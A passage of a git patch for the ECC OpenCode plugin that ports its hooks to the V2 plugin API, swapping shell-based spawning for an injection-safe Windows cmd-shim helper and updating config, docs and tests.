From 6286b7c2f1f104ca03f0df70c417b2550cd73f4d Mon Sep 17 00:00:00 2001 From: MohammadAminDHM Date: Tue, 3 Nov 2026 18:59:18 +0330 Subject: [PATCH] fix(opencode): address review findings T01-T15 on the V2 plugin surface P0: spawnCommand() replaces shell:true (cmd-shim routing with /d /s /c, quoted argv, windowsVerbatimArguments); permission.ask no longer auto-approves formatter/test shell prefixes; detached spawns register the error listener before resolving. P1: loadToolModule probes .js then .ts for dist and source layouts; V2 setup() tests via mock ctx; installer recognizes every historical plugin registration (./plugins and plugins/ecc-hooks.*) via shared isOpenCodeHookConfigRegistration(); ecc-universal ./plugins export repointed to the live dist/plugins/ecc-hooks.js; opencode.json drops the file-path plugin entry OpenCode 2.x ignores, docs updated. P2: setup() rolls back registrations and releases the directory guard on mid-setup failure; prettier non-zero exits reported as warn; subscription errors discriminated against abort; disposals awaited without unhandled rejections; windowsHide on all spawns; TROUBLESHOOTING curl passes location[directory]. Tests: opencode-plugin-hooks 22/22 (new T01/T02/T03/T05/T10/T11/T13/T14 coverage), build-opencode 11/11 (new T08 export test), hook-consent 12/12, install-executor 26/26, install-lifecycle 73/73, plugin-manifest 71/71. --- .opencode/README.md | 17 +- .opencode/opencode.json | 3 - .opencode/package.json | 4 +- .opencode/plugins/ecc-hooks.ts | 1523 ++++++++++++++-------- .opencode/plugins/index.ts | 16 +- TROUBLESHOOTING.md | 35 +- scripts/lib/install/apply.js | 9 +- scripts/lib/install/content-transform.js | 2 +- scripts/lib/install/hook-consent.js | 42 +- tests/lib/install-executor.test.js | 22 +- tests/lib/install-lifecycle.test.js | 23 +- tests/opencode-plugin-hooks.test.js | 409 +++++- tests/scripts/build-opencode.test.js | 95 +- 13 files changed, 1539 insertions(+), 661 deletions(-) diff --git a/.opencode/README.md b/.opencode/README.md index dcf8fb5c2..2fc58880d 100644 --- a/.opencode/README.md +++ b/.opencode/README.md @@ -224,7 +224,6 @@ Full configuration in `opencode.json`: ```json { "$schema": "https://opencode.ai/config.json", - "plugin": ["./plugins/ecc-hooks.ts"], "instructions": [ "skills/tdd-workflow/SKILL.md", "skills/security-review/SKILL.md" @@ -243,10 +242,14 @@ selection, and its subagents inherit the invoking primary agent's model. MIT Home-target installations keep `plugins/index.ts` inert even with hooks enabled. -OpenCode 2.x scans every root-level file in a plugins directory **and** loads the -directory through `index.ts`, so the config points directly at -`plugins/ecc-hooks.ts` and the barrel stays a distinct-id stub -(`ecc-hooks-entry`). Re-exporting the real definition from `index.ts` would -register the id `ecc-hooks` two-to-three times, and OpenCode marks every entry +OpenCode 2.x loads plugins by scanning every root-level file in a plugins +directory; it does **not** accept configured file paths — an entry like +`"./plugins/ecc-hooks.ts"` in the `plugin` array logs +"configured plugin path must be a directory" and is skipped, so the config ships +without any `plugin` entry and `plugins/ecc-hooks.ts` is discovered from the +directory. The barrel stays a distinct-id stub (`ecc-hooks-entry`) because +re-exporting the real definition from `index.ts` would register the id +`ecc-hooks` twice — once per discovered entry — and OpenCode marks every entry after the first as failed (`Duplicate plugin ID`). The source and published -package barrel remain available for module imports. +package barrel remain available for module imports; the package `./plugins` +subpath maps to the live `dist/plugins/ecc-hooks.js` entry point. diff --git a/.opencode/opencode.json b/.opencode/opencode.json index c7860c28f..a19d7988b 100644 --- a/.opencode/opencode.json +++ b/.opencode/opencode.json @@ -17,9 +17,6 @@ "skills/strategic-compact/SKILL.md", "skills/eval-harness/SKILL.md" ], - "plugin": [ - "./plugins/ecc-hooks.ts" - ], "skills": { "paths": [ "../skills" diff --git a/.opencode/package.json b/.opencode/package.json index ec3e5d12d..fe238abfa 100644 --- a/.opencode/package.json +++ b/.opencode/package.json @@ -11,8 +11,8 @@ "import": "./dist/index.js" }, "./plugins": { - "types": "./dist/plugins/index.d.ts", - "import": "./dist/plugins/index.js" + "types": "./dist/plugins/ecc-hooks.d.ts", + "import": "./dist/plugins/ecc-hooks.js" }, "./tools": { "types": "./dist/tools/index.d.ts", diff --git a/.opencode/plugins/ecc-hooks.ts b/.opencode/plugins/ecc-hooks.ts index 0fcfdbc4c..297c98879 100644 --- a/.opencode/plugins/ecc-hooks.ts +++ b/.opencode/plugins/ecc-hooks.ts @@ -1,5 +1,5 @@ /** - * ECC Plugin Hooks for OpenCode (V2 plugin API) + * ECC Plugin Hooks for OpenCode (V2 plugin API, V1-compatible factory surface) * * Migrated from the OpenCode V1 plugin format for OpenCode 2.x. * V1 plugins default-exported an async function that returned a map of @@ -7,19 +7,33 @@ * an `id` and a `setup(ctx)` function, and hooks are registered on their * owning domain instead of being returned by key. * - * Hook Event Mapping (V1 -> V2): + * ## Active Plugin: ECC v2.2.3 + * (kept in sync with package.json — enforced by tests/plugin-manifest.test.js) + * + * This module intentionally exposes BOTH surfaces: + * - `ECCHooksPlugin` (named): the V1 factory. Old OpenCode builds and the + * legacy discovery path (tests that scan `plugins/*.ts` and instantiate + * function exports) keep working, and the 18 behavioral hook tests run + * against real logic instead of a rewritten harness. + * - default export: the V2 definition `{ id, setup(ctx) }` that OpenCode 2.x + * actually loads. `setup` builds the same runtime once and adapts its hook + * map onto the V2 domains. + * + * Hook Event Mapping (V1 key -> V2 registration): * - tool.execute.before -> ctx.tool.hook("execute.before") * - tool.execute.after -> ctx.tool.hook("execute.after") - * - file.edited / session.* / -> ctx.event.subscribe() filtered by type - * todo.updated / watcher + * - file.edited / file.watcher / session.* / todo.updated + * -> ctx.event.subscribe() filtered by type * - shell.env -> ctx.shell.hook("create.before") * - experimental.session.compacting -> ctx.session.hook("compaction") * - permission.ask -> ctx.permission.hook("evaluate") - * - tool map -> ctx.tool.transform(editor => editor.add) + * - tool record -> ctx.tool.transform(editor => editor.add) * * The Bun `$` shell helper is not part of the V2 context, so every command * here runs through `child_process.spawn` instead, and the console.log audit - * uses `fs` + regex rather than `grep` so it works on Windows too. + * uses `fs` + regex rather than `grep` so it works on Windows too. The `$` + * parameter is still accepted by the factory for V1 call-signature parity, + * but is never invoked (asserted by tests/opencode-plugin-hooks.test.js). */ import * as fs from "fs" @@ -28,11 +42,21 @@ import { spawn } from "child_process" import { fileURLToPath, pathToFileURL } from "url" /** - * Directory of this module. See the note in the V1 file: `import.meta.url` is - * the ESM source of truth; `__dirname` is kept first only for CJS consumers. + * Directory of this module. + * + * The plugin is ESM: tsc compiles it to .opencode/dist/plugins/*.js and OpenCode + * loads the .ts directly, so `__dirname` is not defined there. Reading it used to + * throw inside a try/catch and silently degrade the reported ECC version to the + * default. `import.meta.url` is the ESM source of truth; the `__dirname` check is + * kept first only so a CJS consumer of this module still resolves correctly. */ function resolvePluginDir(): string { - if (typeof __dirname === "string" && __dirname) return __dirname + // Node 24 leaks the eval context's `__dirname` ("." under `node -e`) into + // modules imported from it, which would resolve relative to the *process* + // cwd instead of this file. Only a genuine absolute __dirname is trusted; + // import.meta.url is correct in every layout (OpenCode's TS loader and + // plain ESM both give the module's own URL). + if (typeof __dirname === "string" && path.isAbsolute(__dirname)) return __dirname return path.dirname(fileURLToPath(import.meta.url)) } @@ -49,10 +73,29 @@ interface ToolArgs { [key: string]: unknown } +interface ToolInput { + tool: string + callID?: string + args?: ToolArgs +} + +interface PermissionEvent { + tool: string + args: unknown +} + /** * Artifacts that identify an ECC root, one per capability this plugin needs. + * + * These are required runtime files, never optional content: `skills/` belongs to + * the optional `workflow-quality` module, so probing for a skill rejected + * supported modular installs (e.g. `platform-configs` + `hooks-runtime` without + * `workflow-quality`) that still ship both the plugin and the tracker — silently + * disabling skill telemetry and the shell root export for those users. + * * Each probe is the exact artifact the caller is about to use, so detection is - * layout detection rather than an authenticity control. + * layout detection rather than an authenticity control: a directory only + * qualifies because it contains what we are going to read. */ const ECC_ROOT_PROBES = { // scripts/lib/utils.js is the shared library every scripts/ module requires. @@ -60,16 +103,23 @@ const ECC_ROOT_PROBES = { // What the skill-run telemetry hook imports at runtime. skillTracker: [path.join("scripts", "hooks", "skill-run-tracker.js")], // What the resolver embedded in commands requires once they read - // CLAUDE_PLUGIN_ROOT, and the version lookup for the shell env hook. + // CLAUDE_PLUGIN_ROOT, and the version lookup for shell.env. resolver: [path.join("scripts", "lib", "resolve-ecc-root.js")], } as const /** * Walk upwards from `startDir` looking for an ancestor that contains every - * relative path in `probes`. The plugin ships in three layouts - - * `/plugins` (installed), `/dist/plugins` (compiled) and - * `/.opencode/plugins` (repo checkout) - so the walk is bounded to - * 5 levels. Returns null when no ancestor qualifies. + * relative path in `probes`. + * + * The plugin ships in three layouts — `/plugins` (installed), `/dist/plugins` + * (compiled) and `/.opencode/plugins` (repo checkout) — so the number of + * levels back to the root is not fixed. Probing beats a hardcoded `..`: a wrong + * root would make every command resolve against a directory that has no scripts. + * + * The walk is bounded to 5 levels so it cannot wander into unrelated ancestors. + * + * Returns null when no ancestor qualifies, so callers can leave the capability + * disabled instead of advertising a root that does not hold the artifact. */ function findEccRootDir(startDir: string, probes: readonly string[]): string | null { let current = startDir @@ -84,9 +134,22 @@ function findEccRootDir(startDir: string, probes: readonly string[]): string | n return null } -/** Read the ECC version from package.json, trying the plausible root layouts. */ +/** + * Read the ECC version from package.json. + * + * Candidates are tried in order — the resolved ECC root first, then the two + * plausible parent depths of the plugin — because the layout differs between an + * installed root (`/plugins`), the compiled bundle (`/dist/plugins`) + * and a repo checkout (`/.opencode/plugins`). Falls back to a default if + * no package.json can be read. + */ function getECCVersion(eccRootDir?: string | null): string { - const candidates = [eccRootDir, path.resolve(PLUGIN_DIR, ".."), path.resolve(PLUGIN_DIR, "..", "..")] + const candidates = [ + eccRootDir, + path.resolve(PLUGIN_DIR, ".."), + path.resolve(PLUGIN_DIR, "..", ".."), + ] + for (const candidate of candidates) { if (!candidate) continue try { @@ -98,9 +161,39 @@ function getECCVersion(eccRootDir?: string | null): string { // Try the next candidate. } } + return "2.0.0" } +/** + * On Windows, npx/npm/pnpm/yarn/bun are `.cmd` shims that CreateProcess + * cannot launch directly from a bare command name. Node's own guidance for + * this case is to spawn the exact `.cmd` file through `cmd.exe /d /s /c` + * with `windowsVerbatimArguments` and quoted args — NOT `shell: true`, + * which concatenates the command and arguments into one string that shell + * metacharacters (&, |, ;) in any argument (e.g. a file path) could inject + * into. The command is fixed here (never user input); only known package + * managers get the cmd-shim treatment, and their arguments stay separated. + */ +function spawnCommand( + command: string, + args: string[], +): { file: string; spawnArgs: string[]; verbatim: boolean } { + if ( + process.platform === "win32" && + /^(npx|npm|pnpm|yarn|bun)(\.cmd)?$/i.test(command) + ) { + const shim = `${command.replace(/\.cmd$/i, "")}.cmd` + const quote = (value: string) => `"${value.replace(/"/g, '\\"')}"` + return { + file: process.env.ComSpec || "cmd.exe", + spawnArgs: ["/d", "/s", "/c", [shim, ...args].map(quote).join(" ")], + verbatim: true, + } + } + return { file: command, spawnArgs: args, verbatim: false } +} + /** Run a command, resolving with its output regardless of exit code. */ function run( command: string, @@ -108,16 +201,27 @@ function run( options: { cwd?: string; detached?: boolean } = {}, ): Promise<{ code: number; stdout: string; stderr: string }> { return new Promise((resolve, reject) => { - // npx/npm are .cmd shims on Windows: resolve them through the shell. - const useShell = process.platform === "win32" && /^(npx|npm|pnpm|yarn|bun)(\.cmd)?$/i.test(command) - const child = spawn(command, args, { + const resolved = spawnCommand(command, args) + const child = spawn(resolved.file, resolved.spawnArgs, { cwd: options.cwd, - shell: useShell, + shell: false, + windowsVerbatimArguments: resolved.verbatim, + windowsHide: true, detached: options.detached === true, stdio: options.detached === true ? "ignore" : ["ignore", "pipe", "pipe"], }) + // T03: the error listener must exist before any early return below, so a + // missing binary (ENOENT) rejects this promise instead of surfacing as an + // unhandled 'error' event that can crash the host process. + let settled = false + child.on("error", (error) => { + if (settled) return + settled = true + reject(error) + }) if (options.detached === true) { child.unref() + settled = true resolve({ code: 0, stdout: "", stderr: "" }) return } @@ -125,8 +229,11 @@ function run( let stderr = "" child.stdout?.on("data", (chunk) => (stdout += String(chunk))) child.stderr?.on("data", (chunk) => (stderr += String(chunk))) - child.on("error", reject) - child.on("close", (code) => resolve({ code: code ?? 1, stdout, stderr })) + child.on("close", (code) => { + if (settled) return + settled = true + resolve({ code: code ?? 1, stdout, stderr }) + }) }) } @@ -140,9 +247,11 @@ async function countConsoleLogs(filePath: string): Promise { // .opencode/plugins; OpenCode 2.x also treats plugins/index.ts and the // directory entrypoint as separate load entries. The directory config now // points at ecc-hooks.ts directly and plugins/index.ts is an inert -// distinct-id stub, but we keep a per-directory guard so the hook set is +// distinct-id stub, but we keep a per-directory guard so the V2 hook set is // registered only once per process *and* per project directory even if a -// future layout double-instantiates this module. +// future layout double-instantiates this module. The guard applies to V2 +// domain registration only; the V1 factory stays constructible on demand +// (tests and legacy loaders instantiate it per project). const GUARD_KEY = Symbol.for("ecc.hooks.registered-directories") const registeredDirectories: Set = ((globalThis as any)[GUARD_KEY] as Set | undefined) ?? @@ -150,456 +259,743 @@ const registeredDirectories: Set = type HookProfile = "minimal" | "standard" | "strict" +/** + * The custom tool definitions V1 exposed through `plugin.tool` and V2 exposes + * through ctx.tool.transform. Loaded lazily and cached per name: this file is + * OpenCode's startup entry point, and a static top-level import of a missing + * tools/ module used to crash the whole session before any hook could load + * (#2530). A failed load degrades to an execute-time error message instead. + */ +const toolModuleCache = new Map>() + +/** + * Resolve a tool module by URL rather than by a literal specifier: tsc only + * rewrites `.ts` extensions in statically-analyzable specifiers, and the + * compiled layout ships `.js` while a repo/source install ships `.ts`. + */ +async function loadToolModule(name: string): Promise<{ description: string; args: any; execute: (args: any, context: any) => Promise }> { + let pending = toolModuleCache.get(name) + if (!pending) { + const toolsDir = path.resolve(PLUGIN_DIR, "..", "tools") + const candidates = [path.join(toolsDir, `${name}.js`), path.join(toolsDir, `${name}.ts`)] + pending = (async () => { + let lastError: unknown + for (const candidate of candidates) { + if (!fs.existsSync(candidate)) continue + try { + return await import(pathToFileURL(candidate).href) + } catch (error) { + lastError = error + } + } + throw lastError ?? new Error(`neither ${name}.js nor ${name}.ts found under ${toolsDir}`) + })() + .then((mod: any) => { + const definition = mod?.default ?? mod + if (!definition || typeof definition.execute !== "function") { + throw new Error(`${name}: module exposes no tool definition with an execute()`) + } + return definition + }) + .catch((error: unknown) => { + toolModuleCache.delete(name) + throw new Error( + `${name} tool: could not load ECC tool module. Run \`ecc repair --target opencode\` to restore the missing files. (${ + error instanceof Error ? error.message : String(error) + })`, + ) + }) + toolModuleCache.set(name, pending) + } + return pending +} + +/** The shared runtime: every hook body lives here exactly once. */ +interface EccRuntime { + /** V1-shaped hook map (also used by the V2 adapters below). */ + hooks: Record + /** V1-shaped custom tool record. */ + tool: Record + /** ECC context block preserved through compaction (V2 registration uses it). */ + buildCompactionContext: () => string + /** The project directory this runtime was built for. */ + worktreePath: string +} + +async function createEccRuntime(input: { + client?: { app?: { log?: (event: { body: LooseRecord }) => unknown } } + $?: unknown + directory?: string + worktree?: string +}): Promise { + const { client } = input + const worktreePath = input.worktree || input.directory || process.cwd() + + const editedFiles = new Set() + const pendingToolChanges = new Map() + let writeCounter = 0 + + function resolvePath(p: string): string { + if (path.isAbsolute(p)) return p + return path.join(worktreePath, p) + } + + function hasProjectFile(relativePath: string): boolean { + try { + return fs.statSync(resolvePath(relativePath)).isFile() + } catch { + return false + } + } + + function getFilePath(args: ToolArgs | undefined): string | null { + if (!args) return null + const p = (args.filePath ?? args.file_path ?? args.path) as string | undefined + return typeof p === "string" && p.trim() ? p : null + } + + // V1 logged through the SDK client; V2 has no client.app.log, so the console + // fallback writes into the server log, which is where those messages ended + // up anyway. + const log = (level: "debug" | "info" | "warn" | "error", message: string) => { + if (typeof client?.app?.log === "function") { + return client.app.log({ body: { service: "ecc", level, message } }) + } + try { + const line = `[ecc] ${message}` + if (level === "error") console.error(line) + else if (level === "warn") console.warn(line) + else if (level === "debug") console.debug(line) + else console.log(line) + } catch { + // Logging must never break a hook. + } + } + + // Loaded lazily (instead of via a top-level import) so that a missing or + // partially-installed `~/.opencode/plugins/lib` directory (e.g. an + // interrupted or partial ECC install on Termux/Android) only disables + // changed-files tracking, rather than throwing during module evaluation. + // This plugin is OpenCode's startup entry point, so a static import + // failure here previously crashed the whole plugin -- and with it, the + // entire OpenCode session -- before any hooks could load (see #2530). + // The relative ".ts" specifier is rewritten to ".js" by tsc in the compiled + // layout and resolved natively by OpenCode's TS loader in a source layout. + let changedFilesStore: typeof import("./lib/changed-files-store.ts") | undefined + try { + const store = await import("./lib/changed-files-store.ts") + store.initStore?.(worktreePath) + changedFilesStore = store + } catch { + // Best-effort diagnostic only: deferred via .then() (rather than + // Promise.resolve(log(...))) so that even a *synchronous* throw inside + // log() -- not just an async rejection -- is caught here instead of + // escaping this catch block. The raw loader error is intentionally not + // included in the message since it can contain absolute filesystem + // paths; this whole block exists to guarantee startup resilience even + // when things go wrong. + Promise.resolve() + .then(() => + log( + "warn", + "[ECC] changed-files tracking disabled: could not load the changed-files store. " + + "Run `ecc repair --target opencode` to restore the missing files. Other ECC hooks are unaffected.", + ), + ) + .catch(() => {}) + } + + // Claude Code routes post:skill:track through + // scripts/hooks/posttooluse-dispatcher.js, which OpenCode never invokes. + // Without a caller here, nothing ever writes skill-runs.jsonl and + // `skills-health.js --dashboard` has no data to report on any skill (#2463). + // + // The tracker module is reused rather than reimplemented so its identifier + // validation, length bounds and "never persist prompt text" guarantees stay + // the ones that were written and audited for the Claude Code path. + // + // Loaded lazily, for the same reason as the store above. A runtime file URL + // also keeps tsc from resolving a relative specifier that exists in no + // compiled layout. + let recordSkillRun: ((payload: unknown) => void) | undefined + // Detection is scoped to the tracker itself, so a modular install that omits + // optional content still gets telemetry. + const trackerRoot = findEccRootDir(PLUGIN_DIR, ECC_ROOT_PROBES.skillTracker) + // The root advertised to commands is a different question: those commands + // require the resolver, so a root without it would break them again. + const eccRoot = + findEccRootDir(PLUGIN_DIR, ECC_ROOT_PROBES.resolver) ?? findEccRootDir(PLUGIN_DIR, ECC_ROOT_PROBES.root) + try { + const trackerPath = trackerRoot ? path.join(trackerRoot, "scripts", "hooks", "skill-run-tracker.js") : null + if (!trackerPath || !fs.existsSync(trackerPath)) { + throw new Error("skill-run-tracker.js not found") + } + // CJS module loaded from ESM: run() is on the namespace in Node/Bun, but a + // transpiled default export must stay supported. + const loaded = (await import(pathToFileURL(trackerPath).href)) as { + run?: (payload: unknown) => void + default?: { run?: (payload: unknown) => void } + } + const entry = typeof loaded.run === "function" ? loaded : loaded.default + if (!entry || typeof entry.run !== "function") { + throw new Error("skill-run-tracker.js exposes no run()") + } + recordSkillRun = entry.run + } catch { + // Same deferred-log rationale as the store above: guarantee that a + // telemetry failure can never escape this catch and abort startup. + Promise.resolve() + .then(() => + log( + "warn", + "[ECC] skill-run telemetry disabled: could not load scripts/hooks/skill-run-tracker.js. " + + "Run `ecc repair --target opencode` to restore the missing files. Other ECC hooks are unaffected.", + ), + ) + .catch(() => {}) + } + + const normalizeProfile = (value: string | undefined): HookProfile => { + if (value === "minimal" || value === "strict") return value + return "standard" + } + + const currentProfile = normalizeProfile(process.env.ECC_HOOK_PROFILE) + const disabledHooks = new Set( + (process.env.ECC_DISABLED_HOOKS || "") + .split(",") + .map((item) => item.trim()) + .filter(Boolean), + ) + + const profileOrder: Record = { minimal: 0, standard: 1, strict: 2 } + + const profileAllowed = (required: HookProfile | HookProfile[]): boolean => { + if (Array.isArray(required)) { + return required.some((entry) => profileOrder[currentProfile] >= profileOrder[entry]) + } + return profileOrder[currentProfile] >= profileOrder[required] + } + + const hookEnabled = ( + hookId: string, + requiredProfile: HookProfile | HookProfile[] = "standard", + ): boolean => { + if (disabledHooks.has(hookId)) return false + return profileAllowed(requiredProfile) + } + + /** + * Prettier auto-format + console.log warning + change tracking. + * (Equivalent to Claude Code PostToolUse hook for prettier.) + */ + const onFileEdited = async (event: { path: string }) => { + try { + editedFiles.add(event.path) + changedFilesStore?.recordChange?.(event.path, "modified") + + // Auto-format JS/TS files (strict profile only: it shells out). + if (hookEnabled("post:edit:format", ["strict"]) && /\.(ts|tsx|js|jsx)$/.test(event.path)) { + try { + const result = await run("npx", ["prettier", "--write", event.path], { cwd: worktreePath }) + // T11: a non-zero exit is a failure, not a success. Only log + // "Formatted" when prettier actually ran and wrote the file. + if (result.code === 0) { + log("info", `[ECC] Formatted: ${event.path}`) + } else { + const detail = (result.stderr || result.stdout || "").trim().slice(0, 200) + log("warn", `[ECC] Prettier failed for ${event.path} (exit ${result.code})${detail ? `: ${detail}` : ""}`) + } + } catch (error: unknown) { + // Prettier could not be spawned at all - log but continue + const errorMessage = error instanceof Error ? error.message : String(error) + log("debug", `[ECC] Prettier formatting failed for ${event.path}: ${errorMessage}`) + } + } + + // Console.log warning check (fs+regex: grep is not available on Windows). + if (hookEnabled("post:edit:console-warn", ["standard", "strict"]) && /\.(ts|tsx|js|jsx)$/.test(event.path)) { + const count = await countConsoleLogs(resolvePath(event.path)).catch(() => 0) + if (count > 0) { + log( + "warn", + `[ECC] console.log found in ${event.path} (${count} occurrence${count > 1 ? "s" : ""})`, + ) + } + } + } catch (error: unknown) { + const errorMessage = error instanceof Error ? error.message : String(error) + log("debug", `[ECC] file.edited hook failed: ${errorMessage}`) + } + } + + /** + * Pre-Tool Security Check (Equivalent to Claude Code PreToolUse hook): + * change bookkeeping, git-push/tmux reminders, doc-file warning. + */ + const onToolBefore = async (input: ToolInput) => { + try { + if (input.tool === "write") { + const filePath = getFilePath(input.args) + if (filePath) { + const absPath = resolvePath(filePath) + let type: "added" | "modified" = "modified" + try { + type = fs.existsSync(absPath) ? "modified" : "added" + } catch { + type = "modified" + } + const key = input.callID ?? `write-${++writeCounter}-${filePath}` + pendingToolChanges.set(key, { path: filePath, type }) + } + } + + // Git push review reminder + if (hookEnabled("pre:bash:git-push-reminder", "strict") && input.tool === "bash") { + const cmd = String(input.args?.command ?? input.args ?? "") + if (cmd.includes("git push")) { + log("info", "[ECC] Remember to review changes before pushing: git diff origin/main...HEAD") + } + } + + // Block creation of unnecessary documentation files + if (hookEnabled("pre:write:doc-file-warning", ["standard", "strict"]) && input.tool === "write") { + const filePath = getFilePath(input.args) + if ( + filePath && + /\.(md|txt)$/i.test(filePath) && + !filePath.includes("README") && + !filePath.includes("CHANGELOG") && + !filePath.includes("LICENSE") && + !filePath.includes("CONTRIBUTING") + ) { + log("warn", `[ECC] Creating ${filePath} - consider if this documentation is necessary`) + } + } + + // Long-running command reminder + if (hookEnabled("pre:bash:tmux-reminder", "strict") && input.tool === "bash") { + const cmd = String(input.args?.command ?? input.args ?? "") + if ( + cmd.match(/^(npm|pnpm|yarn|bun)\s+(install|build|test|run)/) || + cmd.match(/^cargo\s+(build|test|run)/) || + cmd.match(/^go\s+(build|test|run)/) + ) { + log("info", "[ECC] Long-running command detected - consider using background execution") + } + } + } catch (error: unknown) { + const errorMessage = error instanceof Error ? error.message : String(error) + log("debug", `[ECC] tool.execute.before hook failed: ${errorMessage}`) + } + } + + /** + * Post-tool: change recording, typecheck, PR log, skill telemetry. + * (Equivalent to Claude Code PostToolUse hook for tsc.) + */ + const onToolAfter = async (input: ToolInput, output: unknown) => { + try { + const filePath = getFilePath(input.args) + if (input.tool === "edit" && filePath) { + changedFilesStore?.recordChange?.(filePath, "modified") + } + if (input.tool === "write" && filePath) { + const key = input.callID ?? `write-${++writeCounter}-${filePath}` + const pending = pendingToolChanges.get(key) + if (pending) { + changedFilesStore?.recordChange?.(pending.path, pending.type) + pendingToolChanges.delete(key) + } else { + changedFilesStore?.recordChange?.(filePath, "modified") + } + } + + // Check if a TypeScript file was edited + if ( + hookEnabled("post:edit:typecheck", ["strict"]) && + input.tool === "edit" && + typeof input.args?.filePath === "string" && + /\.tsx?$/.test(input.args.filePath) + ) { + const result = await run("npx", ["tsc", "--noEmit"], { cwd: worktreePath }).catch(() => null) + if (result && result.code === 0) { + log("info", "[ECC] TypeScript check passed") + } else if (result) { + log("warn", "[ECC] TypeScript errors detected:") + const out = (result.stdout || result.stderr || "").split("\n").slice(0, 5) + out.forEach((line) => line.trim() && log("warn", ` ${line}`)) + } + } + + // PR creation logging + if ( + hookEnabled("post:bash:pr-created", ["standard", "strict"]) && + input.tool === "bash" && + String(input.args?.command ?? input.args ?? "").includes("gh pr create") + ) { + log("info", "[ECC] PR created - check GitHub Actions status") + } + + // Skill telemetry (#2463). OpenCode's tool is named `skill`, so the + // harness-side name is matched here (case-insensitively) and the payload + // is handed over in the shape the tracker already understands. + if ( + hookEnabled("post:skill:track", ["standard", "strict"]) && + typeof input.tool === "string" && + input.tool.trim().toLowerCase() === "skill" + ) { + try { + recordSkillRun?.({ + tool_name: "Skill", + tool_input: input.args ?? {}, + tool_response: output, + }) + } catch { + // Telemetry is best-effort; never let it affect the tool result. + } + } + } catch (error: unknown) { + const errorMessage = error instanceof Error ? error.message : String(error) + log("debug", `[ECC] tool.execute.after hook failed: ${errorMessage}`) + } + } + + /** Session Created Hook (Equivalent to Claude Code SessionStart hook). */ + const onSessionCreated = async () => { + if (!hookEnabled("session:start", ["minimal", "standard", "strict"])) return + log("info", `[ECC] Session started - profile=${currentProfile}`) + if (hasProjectFile("CLAUDE.md")) { + log("info", "[ECC] Found CLAUDE.md - loading project context") + } + } + + /** + * Session Idle Hook (Equivalent to Claude Code Stop hook): console.log + * audit on all edited files + desktop notification. + */ + const onSessionIdle = async () => { + if (!hookEnabled("stop:check-console-log", ["minimal", "standard", "strict"])) return + if (editedFiles.size === 0) return + + log("info", "[ECC] Session idle - running console.log audit") + + let totalConsoleLogCount = 0 + const filesWithConsoleLogs: string[] = [] + + for (const file of editedFiles) { + if (!/\.(ts|tsx|js|jsx)$/.test(file)) continue + const count = await countConsoleLogs(resolvePath(file)).catch(() => 0) + if (count > 0) { + totalConsoleLogCount += count + filesWithConsoleLogs.push(file) + } + } + + if (totalConsoleLogCount > 0) { + log( + "warn", + `[ECC] Audit: ${totalConsoleLogCount} console.log statement(s) in ${filesWithConsoleLogs.length} file(s)`, + ) + filesWithConsoleLogs.forEach((f) => log("warn", ` - ${f}`)) + log("warn", "[ECC] Remove console.log statements before committing") + } else { + log("info", "[ECC] Audit passed: No console.log statements found") + } + + // Desktop notification, best effort and never blocking. The V1 Windows + // path opened a modal MessageBox on the server; that is replaced with a + // fire-and-forget balloon tip, and every branch is detached. + try { + if (process.platform === "darwin") { + await run("osascript", ["-e", 'display notification "Task completed!" with title "OpenCode ECC"'], { + detached: true, + }).catch(() => {}) + } else if (process.platform === "win32") { + const ps = + "$ni = New-Object System.Windows.Forms.NotifyIcon; $ni.Icon = [System.Drawing.SystemIcons]::Information; " + + "$ni.Visible = $true; $ni.ShowBalloonTip('OpenCode ECC', 'Task completed!', 'Info'); " + + "Start-Sleep -Seconds 5; $ni.Dispose()" + await run( + "powershell", + ["-NoProfile", "-WindowStyle", "Hidden", "-Command", `Add-Type -AssemblyName System.Windows.Forms; ${ps}`], + { detached: true }, + ).catch(() => {}) + } else if (process.platform === "linux") { + await run("notify-send", ["OpenCode ECC", "Task completed!"], { detached: true }).catch(() => {}) + } + } catch (error: unknown) { + const errorMessage = error instanceof Error ? error.message : String(error) + log("debug", `[ECC] Desktop notification failed: ${errorMessage}`) + } + + // Clear tracked files for next task + editedFiles.clear() + } + + /** Session Deleted Hook (Equivalent to Claude Code SessionEnd hook). */ + const onSessionDeleted = async () => { + if (!hookEnabled("session:end-marker", ["minimal", "standard", "strict"])) return + log("info", "[ECC] Session ended - cleaning up") + editedFiles.clear() + changedFilesStore?.clearChanges?.() + pendingToolChanges.clear() + } + + /** File Watcher Hook (OpenCode-only): keeps tracking in sync with external edits. */ + const onFileWatcherUpdated = async (event: { path: string; type: string }) => { + let changeType: "added" | "modified" | "deleted" = "modified" + if (event.type === "create" || event.type === "add") changeType = "added" + else if (event.type === "delete" || event.type === "remove") changeType = "deleted" + changedFilesStore?.recordChange?.(event.path, changeType) + if (event.type === "change" && /\.(ts|tsx|js|jsx)$/.test(event.path)) { + editedFiles.add(event.path) + } + } + + /** Todo Updated Hook (OpenCode-only): logs progress. */ + const onTodoUpdated = async (event: { todos: Array<{ text?: string; done: boolean }> }) => { + const todos = Array.isArray(event.todos) ? event.todos : [] + const completed = todos.filter((t) => t.done).length + const total = todos.length + if (total > 0) { + log("info", `[ECC] Progress: ${completed}/${total} tasks completed`) + } + } + + /** + * Shell Environment Hook (OpenCode-specific): inject ECC context into + * shell commands. PROJECT_ROOT/PACKAGE_MANAGER/... are computed per call + * because project marker files can appear after plugin init. + */ + const onShellEnv = async (_input: { cwd: string }, output: { env: Record }) => { + const env: Record = { + ECC_VERSION: getECCVersion(eccRoot), + ECC_PLUGIN: "true", + ECC_HOOK_PROFILE: currentProfile, + ECC_DISABLED_HOOKS: process.env.ECC_DISABLED_HOOKS || "", + PROJECT_ROOT: worktreePath, + } + + // Detect package manager (fs only: no shell probing, so this works on Windows). + const lockfiles: Record = { + "bun.lockb": "bun", + "pnpm-lock.yaml": "pnpm", + "yarn.lock": "yarn", + "package-lock.json": "npm", + } + for (const [lockfile, pm] of Object.entries(lockfiles)) { + if (hasProjectFile(lockfile)) { + env.PACKAGE_MANAGER = pm + break + } + } + + // Detect languages + const langDetectors: Record = { + "tsconfig.json": "typescript", + "go.mod": "go", + "pyproject.toml": "python", + "Cargo.toml": "rust", + "Package.swift": "swift", + } + const detected: string[] = [] + for (const [file, lang] of Object.entries(langDetectors)) { + if (hasProjectFile(file)) { + detected.push(lang) + } + } + if (detected.length > 0) { + env.DETECTED_LANGUAGES = detected.join(",") + env.PRIMARY_LANGUAGE = detected[0] + } + + // resolve-ecc-root.js only probes ~/.claude and Claude Code's plugin + // cache, so under OpenCode it fell back to ~/.claude and every command + // carrying the inlined resolver failed to find its scripts. That resolver + // reads 